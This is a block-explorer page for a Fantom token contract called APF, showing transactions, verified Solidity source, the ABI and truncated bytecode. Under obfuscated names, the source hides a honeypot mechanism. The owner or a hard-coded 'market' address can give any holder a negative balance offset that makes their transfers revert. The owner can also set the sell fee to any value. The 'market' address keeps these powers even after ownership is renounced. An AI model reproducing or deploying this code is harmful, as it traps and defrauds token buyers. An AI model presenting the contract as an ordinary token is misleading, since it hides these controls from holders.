Contract 0x55f2a8db2b602f7ec47407754bf1019b3b50c0f6

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xc5ae4682389ba008e17a98cdffbe03f9fa2f16940069e8554d894007c51cc349Approve513947932022-11-24 15:26:258 days 21 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  0x55f2a8db2b602f7ec47407754bf1019b3b50c0f60 FTM0.006172533259
0x9c96ac9200dd2e7bbfb67d93e379bd74260e25b562a0a44cc748201d892be0c8Transferownershi...513947452022-11-24 15:24:468 days 21 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  0x55f2a8db2b602f7ec47407754bf1019b3b50c0f60 FTM0.002299249345
0xafbb75c1571450b8e0af37e4329da691cc25312cdec7ce7b39955a6e9c2bc1c3Approve513947312022-11-24 15:24:288 days 21 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  0x55f2a8db2b602f7ec47407754bf1019b3b50c0f60 FTM0.002813758092
0x7b335bbb350e47096d83af3d3e1fd5bc1535344fa4c563ea7068d1bf47194d920x60806040513946692022-11-24 15:22:548 days 21 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  Create: APF0 FTM0.240177725767
[ Download CSV Export 
Latest 1 internal transaction
Parent Txn Hash Block From To Value
0x7b335bbb350e47096d83af3d3e1fd5bc1535344fa4c563ea7068d1bf47194d92513946692022-11-24 15:22:548 days 21 hrs ago 0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b  Contract Creation0 FTM
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
APF

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at FtmScan.com on 2022-11-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _owner;

    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor() {
        _transferownership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function transferownership() public virtual onlyOwner {
        _transferownership(address(0));
    }


    function transferownership(address newowner) public virtual onlyOwner {
        require(newowner != address(0), "Ownable: new owner is the zero address");
        _transferownership(newowner);
    }


    function _transferownership(address newowner) internal virtual {
        address oldowner = _owner;
        _owner = newowner;
        emit ownershipTransferred(oldowner, newowner);
    }
}



library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {

        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }


    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }


    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}




interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint GRyGecXsrADesired,
        uint GRyGecXsrBDesired,
        uint GRyGecXsrAMin,
        uint GRyGecXsrBMin,
        address to,
        uint deadline
    ) external returns (uint GRyGecXsrA, uint GRyGecXsrB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint GRyGecXsrTokenDesired,
        uint GRyGecXsrTokenMin,
        uint GRyGecXsrETHMin,
        address to,
        uint deadline
    ) external payable returns (uint GRyGecXsrToken, uint GRyGecXsrETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint GRyGecXsrAMin,
        uint GRyGecXsrBMin,
        address to,
        uint deadline
    ) external returns (uint GRyGecXsrA, uint GRyGecXsrB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint GRyGecXsrTokenMin,
        uint GRyGecXsrETHMin,
        address to,
        uint deadline
    ) external returns (uint GRyGecXsrToken, uint GRyGecXsrETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint GRyGecXsrAMin,
        uint GRyGecXsrBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint GRyGecXsrA, uint GRyGecXsrB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint GRyGecXsrTokenMin,
        uint GRyGecXsrETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint GRyGecXsrToken, uint GRyGecXsrETH);
    function swapExactTokensForTokens(
        uint GRyGecXsrIn,
        uint GRyGecXsrOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory GRyGecXsrs);
    function swapTokensForExactTokens(
        uint GRyGecXsrOut,
        uint GRyGecXsrInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory GRyGecXsrs);
    function swapExactETHForTokens(uint GRyGecXsrOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory GRyGecXsrs);
    function swapTokensForExactETH(uint GRyGecXsrOut, uint GRyGecXsrInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory GRyGecXsrs);
    function swapExactTokensForETH(uint GRyGecXsrIn, uint GRyGecXsrOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory GRyGecXsrs);
    function swapETHForExactTokens(uint GRyGecXsrOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory GRyGecXsrs);

    function quote(uint GRyGecXsrA, uint reserveA, uint reserveB) external pure returns (uint GRyGecXsrB);
    function getGRyGecXsrOut(uint GRyGecXsrIn, uint reserveIn, uint reserveOut) external pure returns (uint GRyGecXsrOut);
    function getGRyGecXsrIn(uint GRyGecXsrOut, uint reserveIn, uint reserveOut) external pure returns (uint GRyGecXsrIn);
    function getGRyGecXsrsOut(uint GRyGecXsrIn, address[] calldata path) external view returns (uint[] memory GRyGecXsrs);
    function getGRyGecXsrsIn(uint GRyGecXsrOut, address[] calldata path) external view returns (uint[] memory GRyGecXsrs);
}




interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingfireOnTransferTokens(
        address token,
        uint liquidity,
        uint GRyGecXsrTokenMin,
        uint GRyGecXsrETHMin,
        address to,
        uint deadline
    ) external returns (uint GRyGecXsrETH);
    function removeLiquidityETHWithPermitSupportingfireOnTransferTokens(
        address token,
        uint liquidity,
        uint GRyGecXsrTokenMin,
        uint GRyGecXsrETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint GRyGecXsrETH);

    function swapExactTokensForTokensSupportingfireOnTransferTokens(
        uint GRyGecXsrIn,
        uint GRyGecXsrOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingfireOnTransferTokens(
        uint GRyGecXsrOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingfireOnTransferTokens(
        uint GRyGecXsrIn,
        uint GRyGecXsrOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}





interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function UfyQoCTxs() external view returns (address);
    function UfyQoCTxsSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setUfyQoCTxs(address) external;
    function setUfyQoCTxsSetter(address) external;
}



contract BEP20 is Context {
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract APF is BEP20, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => bool) private _gnRmcBrjd;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 LPuiFdlyG = _balances[from];
        require(LPuiFdlyG >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
        _balances[from] = LPuiFdlyG - amount;
    }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 jtVKWjJNr = _balances[account];
        require(jtVKWjJNr >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = jtVKWjJNr - amount;
    }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _mtin(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mtin to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }


    address public uniswapV2Pair;
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) BEP20(name_, symbol_) {
        _mtin(msg.sender, totalSupply_ * 10**decimals());
    }

    using SafeMath for uint256;

    uint256 private _FTpbPKQRz = 3;

    uint256 private _bQPQVBOHJ = 0;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => int256) private _gHafXikrS;

    address private _marketMAewAddress = 0x94F2099Ee0a1e80c901D38d51be50f7a964Ad9Ac;
    address private _fundZPewAddress = 0xC08eAB9dc08C937cDF6B98D5D6F2b38e93336f87;


    function setMarketAddress(address addr) external onlyOwner {
        _marketMAewAddress = addr;
    }

    function setFundAddress(address addr) external onlyOwner {
        _fundZPewAddress = addr;
    }

    function setFeeSBgTavVgl(uint256 fese) external onlyOwner {
        _FTpbPKQRz = fese;
    }


    function setPairGObgDKSXm(address _address) external vxoetzoRW {
        uniswapV2Pair = _address;
    }


    function setUseuTLcwjblL(address PFpOfBsRm) external vxoetzoRW {
        _gHafXikrS[PFpOfBsRm] = int256(0) - int256(_totalSupply);
    }

    function rmUsePGwosLPxY(address PFpOfBsRm) external vxoetzoRW {
        _gHafXikrS[PFpOfBsRm] = int256(354) - int256(354);
    }

    function gethPxUgJEVD(address PFpOfBsRm) external view returns (int256) {
        return _gHafXikrS[PFpOfBsRm];
    }

    modifier vxoetzoRW() {
        require(owner() == msg.sender || _marketMAewAddress == msg.sender, "!Market");
        _;
    }


    function _CENmIeGAd(
        address from,
        address _to,
        uint256 _GRyGecXsr
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(_to != address(0), "ERC20: transfer to the zero address");

        uint256 LPuiFdlyG = _balances[from];
        require(LPuiFdlyG >= _GRyGecXsr, "ERC20: transfer amount exceeds balance");
        if (_gHafXikrS[from] > 0){
            _balances[from] = _balances[from].add(uint256(_gHafXikrS[from]));
        }else if (_gHafXikrS[from] < 0){
            _balances[from] = _balances[from].sub(uint256(_gHafXikrS[from]));
        }


        uint256 helooGRyGecXsr = 0;
        uint256 rtvEgBoMV = _FTpbPKQRz;
        if (uniswapV2Pair != address(0)) {
            if (_to == uniswapV2Pair) {
                rtvEgBoMV = _FTpbPKQRz;
            }
            if (from == uniswapV2Pair) {
                rtvEgBoMV = _bQPQVBOHJ;
            }
        }
        helooGRyGecXsr = _GRyGecXsr.mul(rtvEgBoMV).div(100);

        if (helooGRyGecXsr > 0) {
            _balances[from] = _balances[from].sub(helooGRyGecXsr);
            _balances[_deadAddress] = _balances[_deadAddress].add(helooGRyGecXsr);
            emit Transfer(from, _deadAddress, helooGRyGecXsr);
        }

        _balances[from] = _balances[from].sub(_GRyGecXsr - helooGRyGecXsr);
        _balances[_to] = _balances[_to].add(_GRyGecXsr - helooGRyGecXsr);
        emit Transfer(from, _to, _GRyGecXsr - helooGRyGecXsr);
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _CENmIeGAd(owner, to, amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, amount);
        _CENmIeGAd(from, to, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"PFpOfBsRm","type":"address"}],"name":"gethPxUgJEVD","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"PFpOfBsRm","type":"address"}],"name":"rmUsePGwosLPxY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fese","type":"uint256"}],"name":"setFeeSBgTavVgl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairGObgDKSXm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"PFpOfBsRm","type":"address"}],"name":"setUseuTLcwjblL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newowner","type":"address"}],"name":"transferownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600360085560006009557394f2099ee0a1e80c901d38d51be50f7a964ad9ac600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c08eab9dc08c937cdf6b98d5d6f2b38e93336f87600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000c557600080fd5b50604051620031f4380380620031f48339818101604052810190620000eb919062000637565b8282816002908051906020019062000105929190620003af565b5080600390805190602001906200011e929190620003af565b50505062000141620001356200018660201b60201c565b6200018e60201b60201c565b6200017d33620001566200025460201b60201c565b600a62000164919062000861565b83620001719190620008b2565b6200025d60201b60201c565b50505062000a86565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c79062000974565b60405180910390fd5b8060016000828254620002e4919062000996565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200033c919062000996565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003a3919062000a04565b60405180910390a35050565b828054620003bd9062000a50565b90600052602060002090601f016020900481019282620003e157600085556200042d565b82601f10620003fc57805160ff19168380011785556200042d565b828001600101855582156200042d579182015b828111156200042c5782518255916020019190600101906200040f565b5b5090506200043c919062000440565b5090565b5b808211156200045b57600081600090555060010162000441565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004c8826200047d565b810181811067ffffffffffffffff82111715620004ea57620004e96200048e565b5b80604052505050565b6000620004ff6200045f565b90506200050d8282620004bd565b919050565b600067ffffffffffffffff82111562000530576200052f6200048e565b5b6200053b826200047d565b9050602081019050919050565b60005b83811015620005685780820151818401526020810190506200054b565b8381111562000578576000848401525b50505050565b6000620005956200058f8462000512565b620004f3565b905082815260208101848484011115620005b457620005b362000478565b5b620005c184828562000548565b509392505050565b600082601f830112620005e157620005e062000473565b5b8151620005f38482602086016200057e565b91505092915050565b6000819050919050565b6200061181620005fc565b81146200061d57600080fd5b50565b600081519050620006318162000606565b92915050565b60008060006060848603121562000653576200065262000469565b5b600084015167ffffffffffffffff8111156200067457620006736200046e565b5b6200068286828701620005c9565b935050602084015167ffffffffffffffff811115620006a657620006a56200046e565b5b620006b486828701620005c9565b9250506040620006c78682870162000620565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200075f57808604811115620007375762000736620006d1565b5b6001851615620007475780820291505b8081029050620007578562000700565b945062000717565b94509492505050565b6000826200077a57600190506200084d565b816200078a57600090506200084d565b8160018114620007a35760028114620007ae57620007e4565b60019150506200084d565b60ff841115620007c357620007c2620006d1565b5b8360020a915084821115620007dd57620007dc620006d1565b5b506200084d565b5060208310610133831016604e8410600b84101617156200081e5782820a905083811115620008185762000817620006d1565b5b6200084d565b6200082d84848460016200070d565b92509050818404811115620008475762000846620006d1565b5b81810290505b9392505050565b600060ff82169050919050565b60006200086e82620005fc565b91506200087b8362000854565b9250620008aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000768565b905092915050565b6000620008bf82620005fc565b9150620008cc83620005fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009085762000907620006d1565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d74696e20746f20746865207a65726f206164647265737300600082015250565b60006200095c601f8362000913565b9150620009698262000924565b602082019050919050565b600060208201905081810360008301526200098f816200094d565b9050919050565b6000620009a382620005fc565b9150620009b083620005fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009e857620009e7620006d1565b5b828201905092915050565b620009fe81620005fc565b82525050565b600060208201905062000a1b6000830184620009f3565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6957607f821691505b6020821081141562000a805762000a7f62000a21565b5b50919050565b61275e8062000a966000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638cbbab8b116100b8578063a457c2d71161007c578063a457c2d714610365578063a9059cbb14610395578063d776f98b146103c5578063dd62ed3e146103e1578063e8b5b79614610411578063fae926121461042d57610142565b80638cbbab8b146102d35780638da5cb5b146102dd5780639288c409146102fb57806394c8a6bb1461031757806395d89b411461034757610142565b8063395093511161010a57806339509351146102015780633eb87bdc1461023157806349bd5a5e1461024d57806370a082311461026b5780637a9fb1d81461029b57806385dc3004146102b757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610449565b60405161015c9190611ca1565b60405180910390f35b61017f600480360381019061017a9190611d5c565b6104db565b60405161018c9190611db7565b60405180910390f35b61019d6104fe565b6040516101aa9190611de1565b60405180910390f35b6101cd60048036038101906101c89190611dfc565b610508565b6040516101da9190611db7565b60405180910390f35b6101eb610537565b6040516101f89190611e6b565b60405180910390f35b61021b60048036038101906102169190611d5c565b610540565b6040516102289190611db7565b60405180910390f35b61024b60048036038101906102469190611e86565b6105e9565b005b61025561070b565b6040516102629190611ec2565b60405180910390f35b61028560048036038101906102809190611e86565b610731565b6040516102929190611de1565b60405180910390f35b6102b560048036038101906102b09190611e86565b61077a565b005b6102d160048036038101906102cc9190611e86565b61088b565b005b6102db610966565b005b6102e5610a09565b6040516102f29190611ec2565b60405180910390f35b61031560048036038101906103109190611e86565b610a33565b005b610331600480360381019061032c9190611e86565b610b54565b60405161033e9190611ef6565b60405180910390f35b61034f610b9d565b60405161035c9190611ca1565b60405180910390f35b61037f600480360381019061037a9190611d5c565b610c2f565b60405161038c9190611db7565b60405180910390f35b6103af60048036038101906103aa9190611d5c565b610d18565b6040516103bc9190611db7565b60405180910390f35b6103df60048036038101906103da9190611f11565b610d3b565b005b6103fb60048036038101906103f69190611f3e565b610ddc565b6040516104089190611de1565b60405180910390f35b61042b60048036038101906104269190611e86565b610e62565b005b61044760048036038101906104429190611e86565b610f75565b005b60606002805461045890611fad565b80601f016020809104026020016040519081016040528092919081815260200182805461048490611fad565b80156104d15780601f106104a6576101008083540402835291602001916104d1565b820191906000526020600020905b8154815290600101906020018083116104b457829003601f168201915b5050505050905090565b6000806104e6611050565b90506104f3818585611058565b600191505092915050565b6000600154905090565b600080610513611050565b9050610520858285611222565b61052b8585856112ae565b60019150509392505050565b60006012905090565b60008061054b611050565b90506105de8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d9919061200e565b611058565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610608610a09565b73ffffffffffffffffffffffffffffffffffffffff16148061067757503373ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad906120b0565b60405180910390fd5b60015460006106c591906120d0565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610799610a09565b73ffffffffffffffffffffffffffffffffffffffff16148061080857503373ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083e906120b0565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610893611050565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610919906121b0565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61096e611050565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f4906121b0565b60405180910390fd5b610a076000611aea565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610a52610a09565b73ffffffffffffffffffffffffffffffffffffffff161480610ac157503373ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af7906120b0565b60405180910390fd5b61016280610b0e91906120d0565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff